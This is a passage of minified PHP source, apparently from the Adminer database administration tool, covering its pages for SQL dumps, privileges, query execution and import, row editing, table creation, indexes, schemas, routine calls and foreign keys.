e>
<p><input type="submit" value="',lang(65),'">
<input type="hidden" name="token" value="',$T,'">

<table cellspacing="0">
';$Af=array();if(DB!=""){$db=($a!=""?"":" checked");echo"<thead><tr>","<th style='text-align: left;'><label class='block'><input type='checkbox' id='check-tables'$db onclick='formCheck(this, /^tables\\[/);'>".lang(112)."</label>","<th style='text-align: right;'><label class='block'>".lang(134)."<input type='checkbox' id='check-data'$db onclick='formCheck(this, /^data\\[/);'></label>","</thead>\n";$Yh="";$Yg=tables_list();foreach($Yg
as$C=>$U){$_f=preg_replace('~_.*~','',$C);$db=($a==""||$a==(substr($a,-1)=="%"?"$_f%":$C));$Df="<tr><td>".checkbox("tables[]",$C,$db,$C,"checkboxClick(event, this); formUncheck('check-tables');","block");if($U!==null&&!preg_match('~table~i',$U))$Yh.="$Df\n";else
echo"$Df<td align='right'><label class='block'><span id='Rows-".h($C)."'></span>".checkbox("data[]",$C,$db,"","checkboxClick(event, this); formUncheck('check-data');")."</label>\n";$Af[$_f]++;}echo$Yh;if($Yg)echo"<script type='text/javascript'>ajaxSetHtml('".js_escape(ME)."script=db');</script>\n";}else{echo"<thead><tr><th style='text-align: left;'><label class='block'><input type='checkbox' id='check-databases'".($a==""?" checked":"")." onclick='formCheck(this, /^databases\\[/);'>".lang(35)."</label></thead>\n";$l=$b->databases();if($l){foreach($l
as$m){if(!information_schema($m)){$_f=preg_replace('~_.*~','',$m);echo"<tr><td>".checkbox("databases[]",$m,$a==""||$a=="$_f%",$m,"formUncheck('check-databases');","block")."\n";$Af[$_f]++;}}}else
echo"<tr><td><textarea name='databases' rows='10' cols='20'></textarea>";}echo'</table>
</form>
';$Kc=true;foreach($Af
as$x=>$X){if($x!=""&&$X>1){echo($Kc?"<p>":" ")."<a href='".h(ME)."dump=".urlencode("$x%")."'>".h($x)."</a>";$Kc=false;}}}elseif(isset($_GET["privileges"])){page_header(lang(63));$I=$h->query("SELECT User, Host FROM mysql.".(DB==""?"user":"db WHERE ".q(DB)." LIKE Db")." ORDER BY Host, User");$Vc=$I;if(!$I)$I=$h->query("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host");echo"<form action=''><p>\n";hidden_fields_get();echo"<input type='hidden' name='db' value='".h(DB)."'>\n",($Vc?"":"<input type='hidden' name='grant' value=''>\n"),"<table cellspacing='0'>\n","<thead><tr><th>".lang(33)."<th>".lang(32)."<th>&nbsp;</thead>\n";while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K["User"])."<td>".h($K["Host"]).'<td><a href="'.h(ME.'user='.urlencode($K["User"]).'&host='.urlencode($K["Host"])).'">'.lang(10)."</a>\n";if(!$Vc||DB!="")echo"<tr".odd()."><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value='".lang(10)."'>\n";echo"</table>\n","</form>\n",'<p class="links"><a href="'.h(ME).'user=">'.lang(135)."</a>";}elseif(isset($_GET["sql"])){if(!$n&&$_POST["export"]){dump_headers("sql");$b->dumpTable("","");$b->dumpData("","table",$_POST["query"]);exit;}restart_session();$fd=&get_session("queries");$ed=&$fd[DB];if(!$n&&$_POST["clear"]){$ed=array();redirect(remove_from_uri("history"));}page_header((isset($_GET["import"])?lang(64):lang(55)),$n);if(!$n&&$_POST){$Sc=false;if(!isset($_GET["import"]))$H=$_POST["query"];elseif($_POST["webfile"]){$Sc=@fopen((file_exists("adminer.sql")?"adminer.sql":"compress.zlib://adminer.sql.gz"),"rb");$H=($Sc?fread($Sc,1e6):false);}else$H=get_file("sql_file",true);if(is_string($H)){if(function_exists('memory_get_usage'))@ini_set("memory_limit",max(ini_bytes("memory_limit"),2*strlen($H)+memory_get_usage()+8e6));if($H!=""&&strlen($H)<1e6){$Kf=$H.(preg_match("~;[ \t\r\n]*\$~",$H)?"":";");if(!$ed||reset(end($ed))!=$Kf){restart_session();$ed[]=array($Kf,time());set_session("queries",$fd);stop_session();}}$Eg="(?:\\s|/\\*.*\\*/|(?:#|-- )[^\n]*\n|--\r?\n)";$Nb=";";$D=0;$mc=true;$i=connect();if(is_object($i)&&DB!="")$i->select_db(DB);$qb=0;$rc=array();$kf='[\'"'.($w=="sql"?'`#':($w=="sqlite"?'`[':($w=="mssql"?'[':''))).']|/\\*|-- |$'.($w=="pgsql"?'|\\$[^$]*\\$':'');$sh=microtime(true);parse_str($_COOKIE["adminer_export"],$xa);$dc=$b->dumpFormat();unset($dc["sql"]);while($H!=""){if(!$D&&preg_match("~^$Eg*DELIMITER\\s+(\\S+)~i",$H,$B)){$Nb=$B[1];$H=substr($H,strlen($B[0]));}else{preg_match('('.preg_quote($Nb)."\\s*|$kf)",$H,$B,PREG_OFFSET_CAPTURE,$D);list($Qc,$wf)=$B[0];if(!$Qc&&$Sc&&!feof($Sc))$H.=fread($Sc,1e5);else{if(!$Qc&&rtrim($H)=="")break;$D=$wf+strlen($Qc);if($Qc&&rtrim($Qc)!=$Nb){while(preg_match('('.($Qc=='/*'?'\\*/':($Qc=='['?']':(preg_match('~^-- |^#~',$Qc)?"\n":preg_quote($Qc)."|\\\\."))).'|$)s',$H,$B,PREG_OFFSET_CAPTURE,$D)){$lg=$B[0][0];if(!$lg&&$Sc&&!feof($Sc))$H.=fread($Sc,1e5);else{$D=$B[0][1]+strlen($lg);if($lg[0]!="\\")break;}}}else{$mc=false;$Kf=substr($H,0,$wf);$qb++;$Df="<pre id='sql-$qb'><code class='jush-$w'>".shorten_utf8(trim($Kf),1000)."</code></pre>\n";if($w=="sqlite"&&preg_match("~^$Eg*ATTACH\b~i",$Kf,$B)){echo$Df,"<p class='error'>".lang(136)."\n";$rc[]=" <a href='#sql-$qb'>$qb</a>";if($_POST["error_stops"])break;}else{if(!$_POST["only_errors"]){echo$Df;ob_flush();flush();}$Hg=microtime(true);if($h->multi_query($Kf)&&is_object($i)&&preg_match("~^$Eg*USE\\b~isU",$Kf))$i->query($Kf);do{$I=$h->store_result();$ih=" <span class='time'>(".format_time($Hg).")</span>".(strlen($Kf)<1000?" <a href='".h(ME)."sql=".urlencode(trim($Kf))."'>".lang(10)."</a>":"");if($h->error){echo($_POST["only_errors"]?$Df:""),"<p class='error'>".lang(137).($h->errno?" ($h->errno)":"").": ".error()."\n";$rc[]=" <a href='#sql-$qb'>$qb</a>";if($_POST["error_stops"])break
2;}elseif(is_object($I)){$z=$_POST["limit"];$Ze=select($I,$i,array(),$z);if(!$_POST["only_errors"]){echo"<form action='' method='post'>\n";$Ce=$I->num_rows;echo"<p>".($Ce?($z&&$Ce>$z?lang(138,$z):"").lang(139,$Ce):""),$ih;$jd="export-$qb";$_c=", <a href='#$jd' onclick=\"return !toggle('$jd');\">".lang(65)."</a><span id='$jd' class='hidden'>: ".html_select("output",$b->dumpOutput(),$xa["output"])." ".html_select("format",$dc,$xa["format"])."<input type='hidden' name='query' value='".h($Kf)."'>"." <input type='submit' name='export' value='".lang(65)."'><input type='hidden' name='token' value='$T'></span>\n";if($i&&preg_match("~^($Eg|\\()*SELECT\\b~isU",$Kf)&&($zc=explain($i,$Kf))){$jd="explain-$qb";echo", <a href='#$jd' onclick=\"return !toggle('$jd');\">EXPLAIN</a>$_c","<div id='$jd' class='hidden'>\n";select($zc,$i,$Ze);echo"</div>\n";}else
echo$_c;echo"</form>\n";}}else{if(preg_match("~^$Eg*(CREATE|DROP|ALTER)$Eg+(DATABASE|SCHEMA)\\b~isU",$Kf)){restart_session();set_session("dbs",null);stop_session();}if(!$_POST["only_errors"])echo"<p class='message' title='".h($h->info)."'>".lang(140,$h->affected_rows)."$ih\n";}$Hg=microtime(true);}while($h->next_result());}$H=substr($H,$D);$D=0;}}}}if($mc)echo"<p class='message'>".lang(141)."\n";elseif($_POST["only_errors"]){echo"<p class='message'>".lang(142,$qb-count($rc))," <span class='time'>(".format_time($sh).")</span>\n";}elseif($rc&&$qb>1)echo"<p class='error'>".lang(137).": ".implode("",$rc)."\n";}else
echo"<p class='error'>".upload_error($H)."\n";}echo'
<form action="" method="post" enctype="multipart/form-data" id="form">
';$wc="<input type='submit' value='".lang(143)."' title='Ctrl+Enter'>";if(!isset($_GET["import"])){$Kf=$_GET["sql"];if($_POST)$Kf=$_POST["query"];elseif($_GET["history"]=="all")$Kf=$ed;elseif($_GET["history"]!="")$Kf=$ed[$_GET["history"]][0];echo"<p>";textarea("query",$Kf,20);echo($_POST?"":"<script type='text/javascript'>focus(document.getElementsByTagName('textarea')[0]);</script>\n"),"<p>$wc\n",lang(144).": <input type='number' name='limit' class='size' value='".h($_POST?$_POST["limit"]:$_GET["limit"])."'>\n";}else{echo"<fieldset><legend>".lang(145)."</legend><div>",(ini_bool("file_uploads")?"SQL (&lt; ".ini_get("upload_max_filesize")."B): <input type='file' name='sql_file[]' multiple>\n$wc":lang(146)),"</div></fieldset>\n","<fieldset><legend>".lang(147)."</legend><div>",lang(148,"<code>adminer.sql".(extension_loaded("zlib")?"[.gz]":"")."</code>"),' <input type="submit" name="webfile" value="'.lang(149).'">',"</div></fieldset>\n","<p>";}echo
checkbox("error_stops",1,($_POST?$_POST["error_stops"]:isset($_GET["import"])),lang(150))."\n",checkbox("only_errors",1,($_POST?$_POST["only_errors"]:isset($_GET["import"])),lang(151))."\n","<input type='hidden' name='token' value='$T'>\n";if(!isset($_GET["import"])&&$ed){print_fieldset("history",lang(152),$_GET["history"]!="");for($X=end($ed);$X;$X=prev($ed)){$x=key($ed);list($Kf,$ih,$hc)=$X;echo'<a href="'.h(ME."sql=&history=$x").'">'.lang(10)."</a>"." <span class='time' title='".@date('Y-m-d',$ih)."'>".@date("H:i:s",$ih)."</span>"." <code class='jush-$w'>".shorten_utf8(ltrim(str_replace("\n"," ",str_replace("\r","",preg_replace('~^(#|-- ).*~m','',$Kf)))),80,"</code>").($hc?" <span class='time'>($hc)</span>":"")."<br>\n";}echo"<input type='submit' name='clear' value='".lang(153)."'>\n","<a href='".h(ME."sql=&history=all")."'>".lang(154)."</a>\n","</div></fieldset>\n";}echo'</form>
';}elseif(isset($_GET["edit"])){$a=$_GET["edit"];$p=fields($a);$Z=(isset($_GET["select"])?(count($_POST["check"])==1?where_check($_POST["check"][0],$p):""):where($_GET,$p));$Jh=(isset($_GET["select"])?$_POST["edit"]:$Z);foreach($p
as$C=>$o){if(!isset($o["privileges"][$Jh?"update":"insert"])||$b->fieldName($o)=="")unset($p[$C]);}if($_POST&&!$n&&!isset($_GET["select"])){$A=$_POST["referer"];if($_POST["insert"])$A=($Jh?null:$_SERVER["REQUEST_URI"]);elseif(!preg_match('~^.+&select=.+$~',$A))$A=ME."select=".urlencode($a);$v=indexes($a);$Eh=unique_array($_GET["where"],$v);$Nf="\nWHERE $Z";if(isset($_POST["delete"]))queries_redirect($A,lang(155),$Wb->delete($a,$Nf,!$Eh));else{$O=array();foreach($p
as$C=>$o){$X=process_input($o);if($X!==false&&$X!==null)$O[idf_escape($C)]=$X;}if($Jh){if(!$O)redirect($A);queries_redirect($A,lang(156),$Wb->update($a,$O,$Nf,!$Eh));if(is_ajax()){page_headers();page_messages($n);exit;}}else{$I=$Wb->insert($a,$O);$Rd=($I?last_id():0);queries_redirect($A,lang(157,($Rd?" $Rd":"")),$I);}}}$K=null;if($_POST["save"])$K=(array)$_POST["fields"];elseif($Z){$M=array();foreach($p
as$C=>$o){if(isset($o["privileges"]["select"])){$Ga=convert_field($o);if($_POST["clone"]&&$o["auto_increment"])$Ga="''";if($w=="sql"&&preg_match("~enum|set~",$o["type"]))$Ga="1*".idf_escape($C);$M[]=($Ga?"$Ga AS ":"").idf_escape($C);}}$K=array();if(!support("table"))$M=array("*");if($M){$I=$Wb->select($a,$M,array($Z),$M,array(),(isset($_GET["select"])?2:1));$K=$I->fetch_assoc();if(!$K)$K=false;if(isset($_GET["select"])&&(!$K||$I->fetch_assoc()))$K=null;}}if(!support("table")&&!$p){if(!$Z){$I=$Wb->select($a,array("*"),$Z,array("*"));$K=($I?$I->fetch_assoc():false);if(!$K)$K=array($Wb->primary=>"");}if($K){foreach($K
as$x=>$X){if(!$Z)$K[$x]=null;$p[$x]=array("field"=>$x,"null"=>($x!=$Wb->primary),"auto_increment"=>($x==$Wb->primary));}}}edit_form($a,$p,$K,$Jh);}elseif(isset($_GET["create"])){$a=$_GET["create"];$lf=array();foreach(array('HASH','LINEAR HASH','KEY','LINEAR KEY','RANGE','LIST')as$x)$lf[$x]=$x;$Uf=referencable_primary($a);$Oc=array();foreach($Uf
as$Tg=>$o)$Oc[str_replace("`","``",$Tg)."`".str_replace("`","``",$o["field"])]=$Tg;$cf=array();$R=array();if($a!=""){$cf=fields($a);$R=table_status($a);if(!$R)$n=lang(9);}$K=$_POST;$K["fields"]=(array)$K["fields"];if($K["auto_increment_col"])$K["fields"][$K["auto_increment_col"]]["auto_increment"]=true;if($_POST&&!process_fields($K["fields"])&&!$n){if($_POST["drop"])queries_redirect(substr(ME,0,-1),lang(158),drop_tables(array($a)));else{$p=array();$Da=array();$Nh=false;$Mc=array();ksort($K["fields"]);$bf=reset($cf);$Aa=" FIRST";foreach($K["fields"]as$x=>$o){$q=$Oc[$o["type"]];$_h=($q!==null?$Uf[$q]:$o);if($o["field"]!=""){if(!$o["has_default"])$o["default"]=null;if($x==$K["auto_increment_col"])$o["auto_increment"]=true;$If=process_field($o,$_h);$Da[]=array($o["orig"],$If,$Aa);if($If!=process_field($bf,$bf)){$p[]=array($o["orig"],$If,$Aa);if($o["orig"]!=""||$Aa)$Nh=true;}if($q!==null)$Mc[idf_escape($o["field"])]=($a!=""&&$w!="sqlite"?"ADD":" ").format_foreign_key(array('table'=>$Oc[$o["type"]],'source'=>array($o["field"]),'target'=>array($_h["field"]),'on_delete'=>$o["on_delete"],));$Aa=" AFTER ".idf_escape($o["field"]);}elseif($o["orig"]!=""){$Nh=true;$p[]=array($o["orig"]);}if($o["orig"]!=""){$bf=next($cf);if(!$bf)$Aa="";}}$nf="";if($lf[$K["partition_by"]]){$of=array();if($K["partition_by"]=='RANGE'||$K["partition_by"]=='LIST'){foreach(array_filter($K["partition_names"])as$x=>$X){$Y=$K["partition_values"][$x];$of[]="\n  PARTITION ".idf_escape($X)." VALUES ".($K["partition_by"]=='RANGE'?"LESS THAN":"IN").($Y!=""?" ($Y)":" MAXVALUE");}}$nf.="\nPARTITION BY $K[partition_by]($K[partition])".($of?" (".implode(",",$of)."\n)":($K["partitions"]?" PARTITIONS ".(+$K["partitions"]):""));}elseif(support("partitioning")&&preg_match("~partitioned~",$R["Create_options"]))$nf.="\nREMOVE PARTITIONING";$le=lang(159);if($a==""){cookie("adminer_engine",$K["Engine"]);$le=lang(160);}$C=trim($K["name"]);queries_redirect(ME.(support("table")?"table=":"select=").urlencode($C),$le,alter_table($a,$C,($w=="sqlite"&&($Nh||$Mc)?$Da:$p),$Mc,($K["Comment"]!=$R["Comment"]?$K["Comment"]:null),($K["Engine"]&&$K["Engine"]!=$R["Engine"]?$K["Engine"]:""),($K["Collation"]&&$K["Collation"]!=$R["Collation"]?$K["Collation"]:""),($K["Auto_increment"]!=""?number($K["Auto_increment"]):""),$nf));}}page_header(($a!=""?lang(41):lang(66)),$n,array("table"=>$a),h($a));if(!$_POST){$K=array("Engine"=>$_COOKIE["adminer_engine"],"fields"=>array(array("field"=>"","type"=>(isset($Bh["int"])?"int":(isset($Bh["integer"])?"integer":"")))),"partition_names"=>array(""),);if($a!=""){$K=$R;$K["name"]=$a;$K["fields"]=array();if(!$_GET["auto_increment"])$K["Auto_increment"]="";foreach($cf
as$o){$o["has_default"]=isset($o["default"]);$K["fields"][]=$o;}if(support("partitioning")){$Tc="FROM information_schema.PARTITIONS WHERE TABLE_SCHEMA = ".q(DB)." AND TABLE_NAME = ".q($a);$I=$h->query("SELECT PARTITION_METHOD, PARTITION_ORDINAL_POSITION, PARTITION_EXPRESSION $Tc ORDER BY PARTITION_ORDINAL_POSITION DESC LIMIT 1");list($K["partition_by"],$K["partitions"],$K["partition"])=$I->fetch_row();$of=get_key_vals("SELECT PARTITION_NAME, PARTITION_DESCRIPTION $Tc AND PARTITION_NAME != '' ORDER BY PARTITION_ORDINAL_POSITION");$of[""]="";$K["partition_names"]=array_keys($of);$K["partition_values"]=array_values($of);}}}$nb=collations();$oc=engines();foreach($oc
as$nc){if(!strcasecmp($nc,$K["Engine"])){$K["Engine"]=$nc;break;}}echo'
<form action="" method="post" id="form">
<p>
';if(support("columns")||$a==""){echo
lang(161),': <input name="name" maxlength="64" value="',h($K["name"]),'" autocapitalize="off">
';if($a==""&&!$_POST){?><script type='text/javascript'>focus(document.getElementById('form')['name']);</script><?php }echo($oc?"<select name='Engine' onchange='helpClose();'".on_help("getTarget(event).value",1).">".optionlist(array(""=>"(".lang(162).")")+$oc,$K["Engine"])."</select>":""),' ',($nb&&!preg_match("~sqlite|mssql~",$w)?html_select("Collation",array(""=>"(".lang(87).")")+$nb,$K["Collation"]):""),' <input type="submit" value="',lang(14),'">
';}echo'
';if(support("columns")){echo'<table cellspacing="0" id="edit-fields" class="nowrap">
';$sb=($_POST?$_POST["comments"]:$K["Comment"]!="");if(!$_POST&&!$sb){foreach($K["fields"]as$o){if($o["comment"]!=""){$sb=true;break;}}}edit_fields($K["fields"],$nb,"TABLE",$Oc,$sb);echo'</table>
<p>
',lang(56),': <input type="number" name="Auto_increment" size="6" value="',h($K["Auto_increment"]),'">
',checkbox("defaults",1,true,lang(163),"columnShow(this.checked, 5)","jsonly");if(!$_POST["defaults"]){echo'<script type="text/javascript">editingHideDefaults()</script>';}echo(support("comment")?"<label><input type='checkbox' name='comments' value='1' class='jsonly' onclick=\"columnShow(this.checked, 6); toggle('Comment'); if (this.checked) this.form['Comment'].focus();\"".($sb?" checked":"").">".lang(96)."</label>".' <input name="Comment" id="Comment" value="'.h($K["Comment"]).'" maxlength="'.($h->server_info>=5.5?2048:60).'"'.($sb?'':' class="hidden"').'>':''),'<p>
<input type="submit" value="',lang(14),'">
';}echo'
';if($a!=""){echo'<input type="submit" name="drop" value="',lang(116),'"',confirm(),'>';}if(support("partitioning")){$mf=preg_match('~RANGE|LIST~',$K["partition_by"]);print_fieldset("partition",lang(164),$K["partition_by"]);echo'<p>
',"<select name='partition_by' onchange='partitionByChange(this);'".on_help("getTarget(event).value.replace(/./, 'PARTITION BY \$&')",1).">".optionlist(array(""=>"")+$lf,$K["partition_by"])."</select>",'(<input name="partition" value="',h($K["partition"]),'">)
',lang(165),': <input type="number" name="partitions" class="size',($mf||!$K["partition_by"]?" hidden":""),'" value="',h($K["partitions"]),'">
<table cellspacing="0" id="partition-table"',($mf?"":" class='hidden'"),'>
<thead><tr><th>',lang(166),'<th>',lang(167),'</thead>
';foreach($K["partition_names"]as$x=>$X){echo'<tr>','<td><input name="partition_names[]" value="'.h($X).'"'.($x==count($K["partition_names"])-1?' onchange="partitionNameChange(this);"':'').' autocapitalize="off">','<td><input name="partition_values[]" value="'.h($K["partition_values"][$x]).'">';}echo'</table>
</div></fieldset>
';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["indexes"])){$a=$_GET["indexes"];$pd=array("PRIMARY","UNIQUE","INDEX");$R=table_status($a,true);if(preg_match('~MyISAM|M?aria'.($h->server_info>=5.6?'|InnoDB':'').'~i',$R["Engine"]))$pd[]="FULLTEXT";$v=indexes($a);$Bf=array();if($w=="mongo"){$Bf=$v["_id_"];unset($pd[0]);unset($v["_id_"]);}$K=$_POST;if($_POST&&!$n&&!$_POST["add"]&&!$_POST["drop_col"]){$c=array();foreach($K["indexes"]as$u){$C=$u["name"];if(in_array($u["type"],$pd)){$f=array();$Wd=array();$Pb=array();$O=array();ksort($u["columns"]);foreach($u["columns"]as$x=>$e){if($e!=""){$y=$u["lengths"][$x];$Ob=$u["descs"][$x];$O[]=idf_escape($e).($y?"(".(+$y).")":"").($Ob?" DESC":"");$f[]=$e;$Wd[]=($y?$y:null);$Pb[]=$Ob;}}if($f){$xc=$v[$C];if($xc){ksort($xc["columns"]);ksort($xc["lengths"]);ksort($xc["descs"]);if($u["type"]==$xc["type"]&&array_values($xc["columns"])===$f&&(!$xc["lengths"]||array_values($xc["lengths"])===$Wd)&&array_values($xc["descs"])===$Pb){unset($v[$C]);continue;}}$c[]=array($u["type"],$C,$O);}}}foreach($v
as$C=>$xc)$c[]=array($xc["type"],$C,"DROP");if(!$c)redirect(ME."table=".urlencode($a));queries_redirect(ME."table=".urlencode($a),lang(168),alter_indexes($a,$c));}page_header(lang(121),$n,array("table"=>$a),h($a));$p=array_keys(fields($a));if($_POST["add"]){foreach($K["indexes"]as$x=>$u){if($u["columns"][count($u["columns"])]!="")$K["indexes"][$x]["columns"][]="";}$u=end($K["indexes"]);if($u["type"]||array_filter($u["columns"],'strlen'))$K["indexes"][]=array("columns"=>array(1=>""));}if(!$K){foreach($v
as$x=>$u){$v[$x]["name"]=$x;$v[$x]["columns"][]="";}$v[]=array("columns"=>array(1=>""));$K["indexes"]=$v;}echo'
<form action="" method="post">
<table cellspacing="0" class="nowrap">
<thead><tr>
<th>',lang(169),'<th><input type="submit" style="left: -1000px; position: absolute;">',lang(170),'<th>',lang(171);?>
<th><noscript><input type='image' class='icon' name='add[0]' src='" . h(preg_replace("~\\?.*~", "", ME)) . "?file=plus.gif&amp;version=4.2.4' alt='+' title='<?php echo
lang(97),'\'></noscript>&nbsp;
</thead>
';if($Bf){echo"<tr><td>PRIMARY<td>";foreach($Bf["columns"]as$x=>$e){echo
select_input(" disabled",$p,$e),"<label><input disabled type='checkbox'>".lang(50)."</label> ";}echo"<td><td>\n";}$Fd=1;foreach($K["indexes"]as$u){if(!$_POST["drop_col"]||$Fd!=key($_POST["drop_col"])){echo"<tr><td>".html_select("indexes[$Fd][type]",array(-1=>"")+$pd,$u["type"],($Fd==count($K["indexes"])?"indexesAddRow(this);":1)),"<td>";ksort($u["columns"]);$s=1;foreach($u["columns"]as$x=>$e){echo"<span>".select_input(" name='indexes[$Fd][columns][$s]' onchange=\"".($s==count($u["columns"])?"indexesAddColumn":"indexesChangeColumn")."(this, '".h(js_escape($w=="sql"?"":$_GET["indexes"]."_"))."');\"",($p?array_combine($p,$p):$p),$e),($w=="sql"||$w=="mssql"?"<input type='number' name='indexes[$Fd][lengths][$s]' class='size' value='".h($u["lengths"][$x])."'>":""),($w!="sql"?checkbox("indexes[$Fd][descs][$s]",1,$u["descs"][$x],lang(50)):"")," </span>";$s++;}echo"<td><input name='indexes[$Fd][name]' value='".h($u["name"])."' autocapitalize='off'>\n","<td><input type='image' class='icon' name='drop_col[$Fd]' src='".h(preg_replace("~\\?.*~","",ME))."?file=cross.gif&amp;version=4.2.4' alt='x' title='".lang(100)."' onclick=\"return !editingRemoveRow(this, 'indexes\$1[type]');\">\n";}$Fd++;}echo'</table>
<p>
<input type="submit" value="',lang(14),'">
<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["database"])){$K=$_POST;if($_POST&&!$n&&!isset($_POST["add_x"])){$C=trim($K["name"]);if($_POST["drop"]){$_GET["db"]="";queries_redirect(remove_from_uri("db|database"),lang(172),drop_databases(array(DB)));}elseif(DB!==$C){if(DB!=""){$_GET["db"]=$C;queries_redirect(preg_replace('~\bdb=[^&]*&~','',ME)."db=".urlencode($C),lang(173),rename_database($C,$K["collation"]));}else{$l=explode("\n",str_replace("\r","",$C));$Ng=true;$Qd="";foreach($l
as$m){if(count($l)==1||$m!=""){if(!create_database($m,$K["collation"]))$Ng=false;$Qd=$m;}}restart_session();set_session("dbs",null);queries_redirect(ME."db=".urlencode($Qd),lang(174),$Ng);}}else{if(!$K["collation"])redirect(substr(ME,0,-1));query_redirect("ALTER DATABASE ".idf_escape($C).(preg_match('~^[a-z0-9_]+$~i',$K["collation"])?" COLLATE $K[collation]":""),substr(ME,0,-1),lang(175));}}page_header(DB!=""?lang(59):lang(176),$n,array(),h(DB));$nb=collations();$C=DB;if($_POST)$C=$K["name"];elseif(DB!="")$K["collation"]=db_collation(DB,$nb);elseif($w=="sql"){foreach(get_vals("SHOW GRANTS")as$Vc){if(preg_match('~ ON (`(([^\\\\`]|``|\\\\.)*)%`\\.\\*)?~',$Vc,$B)&&$B[1]){$C=stripcslashes(idf_unescape("`$B[2]`"));break;}}}echo'
<form action="" method="post">
<p>
',($_POST["add_x"]||strpos($C,"\n")?'<textarea id="name" name="name" rows="10" cols="40">'.h($C).'</textarea><br>':'<input name="name" id="name" value="'.h($C).'" maxlength="64" autocapitalize="off">')."\n".($nb?html_select("collation",array(""=>"(".lang(87).")")+$nb,$K["collation"]).doc_link(array('sql'=>"charset-charsets.html",'mssql'=>"ms187963.aspx",)):"");?>
<script type='text/javascript'>focus(document.getElementById('name'));</script>
<input type="submit" value="<?php echo
lang(14),'">
';if(DB!="")echo"<input type='submit' name='drop' value='".lang(116)."'".confirm().">\n";elseif(!$_POST["add_x"]&&$_GET["db"]=="")echo"<input type='image' class='icon' name='add' src='".h(preg_replace("~\\?.*~","",ME))."?file=plus.gif&amp;version=4.2.4' alt='+' title='".lang(97)."'>\n";echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["scheme"])){$K=$_POST;if($_POST&&!$n){$_=preg_replace('~ns=[^&]*&~','',ME)."ns=";if($_POST["drop"])query_redirect("DROP SCHEMA ".idf_escape($_GET["ns"]),$_,lang(177));else{$C=trim($K["name"]);$_.=urlencode($C);if($_GET["ns"]=="")query_redirect("CREATE SCHEMA ".idf_escape($C),$_,lang(178));elseif($_GET["ns"]!=$C)query_redirect("ALTER SCHEMA ".idf_escape($_GET["ns"])." RENAME TO ".idf_escape($C),$_,lang(179));else
redirect($_);}}page_header($_GET["ns"]!=""?lang(60):lang(61),$n);if(!$K)$K["name"]=$_GET["ns"];echo'
<form action="" method="post">
<p><input name="name" id="name" value="',h($K["name"]);?>" autocapitalize="off">
<script type='text/javascript'>focus(document.getElementById('name'));</script>
<input type="submit" value="<?php echo
lang(14),'">
';if($_GET["ns"]!="")echo"<input type='submit' name='drop' value='".lang(116)."'".confirm().">\n";echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["call"])){$da=$_GET["call"];page_header(lang(180).": ".h($da),$n);$hg=routine($da,(isset($_GET["callf"])?"FUNCTION":"PROCEDURE"));$nd=array();$ff=array();foreach($hg["fields"]as$s=>$o){if(substr($o["inout"],-3)=="OUT")$ff[$s]="@".idf_escape($o["field"])." AS ".idf_escape($o["field"]);if(!$o["inout"]||substr($o["inout"],0,2)=="IN")$nd[]=$s;}if(!$n&&$_POST){$Ya=array();foreach($hg["fields"]as$x=>$o){if(in_array($x,$nd)){$X=process_input($o);if($X===false)$X="''";if(isset($ff[$x]))$h->query("SET @".idf_escape($o["field"])." = $X");}$Ya[]=(isset($ff[$x])?"@".idf_escape($o["field"]):$X);}$H=(isset($_GET["callf"])?"SELECT":"CALL")." ".idf_escape($da)."(".implode(", ",$Ya).")";echo"<p><code class='jush-$w'>".h($H)."</code> <a href='".h(ME)."sql=".urlencode($H)."'>".lang(10)."</a>\n";if(!$h->multi_query($H))echo"<p class='error'>".error()."\n";else{$i=connect();if(is_object($i))$i->select_db(DB);do{$I=$h->store_result();if(is_object($I))select($I,$i);else
echo"<p class='message'>".lang(181,$h->affected_rows)."\n";}while($h->next_result());if($ff)select($h->query("SELECT ".implode(", ",$ff)));}}echo'
<form action="" method="post">
';if($nd){echo"<table cellspacing='0'>\n";foreach($nd
as$x){$o=$hg["fields"][$x];$C=$o["field"];echo"<tr><th>".$b->fieldName($o);$Y=$_POST["fields"][$C];if($Y!=""){if($o["type"]=="enum")$Y=+$Y;if($o["type"]=="set")$Y=array_sum($Y);}input($o,$Y,(string)$_POST["function"][$C]);echo"\n";}echo"</table>\n";}echo'<p>
<input type="submit" value="',lang(180),'">
<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["foreign"])){$a=$_GET["foreign"];$C=$_GET["name"];$K=$_POST;if($_POST&&!$n&&!$_POST["add"]&&!$_POST["change"]&&!$_POST["change-js"]){$le=($_POST["drop"]?lang(182):($C!=""?lang(183):lang(184)));$A=ME."table=".urlencode($a);$K["source"]=array_filter($K["source"],'strlen');ksort($K["source"]);$bh=array();foreach($K["source"]as$x=>$X)$bh[$x]=$K["target"][$x];$K["target"]=$bh;if($w=="sqlite")queries_redirect($A,$le,recreate_table($a,$a,array(),array(),array(" $C"=>($_POST["drop"]?"":" ".format_foreign_key($K)))));else{$c="ALTER TABLE ".table($a);$Yb="\nDROP ".($w=="sql"?"FOREIGN KEY ":"CONSTRAINT ").idf_escape($C);if($_POST["drop"])query_redirect($c.$Yb,$A,$le);else{query_redirect($c.($C!=""?"$Yb,":"")."\nADD".format_foreign_key($K),$A,$le);$n=lang(185)."<br>$n";}}}page_header(lang(186),$n,array("table"=>$a),h($a));if($_POST){ksort($K["source"]);if($_POST["add"])$K["source"][]="";elseif($_POST["change"]||$_POST["change-js"])$K["target"]=array();}elseif($C!=""){$Oc=foreign_keys($a);$K=$Oc[$C];$K["source"][]="";}else{$K["table"]=$a;$K["source"]=array("");}$Dg=array_keys(fields($a));$bh=($a===$K["table"]?$Dg:array_keys(fields($K["table"])));$Tf=array_keys(array_filter(table_status('',true),'fk_support'));echo'
<form action="" method="post">
<p>
';if($K["db"]==""&&$K["ns"]==""){echo
lang(187),':
',html_select("table",$Tf,$K["table"],"this.form['change-js'].value = '1'; this.form.submit();"),'<input type="hidden" name="change-js" value="">
<noscript><p><input type="submit" name="change" value="',lang(188),'"></noscript>
<table cellspacing="0">
<thead><tr><th>',lang(123),'<th>',lang(124),'</thead>
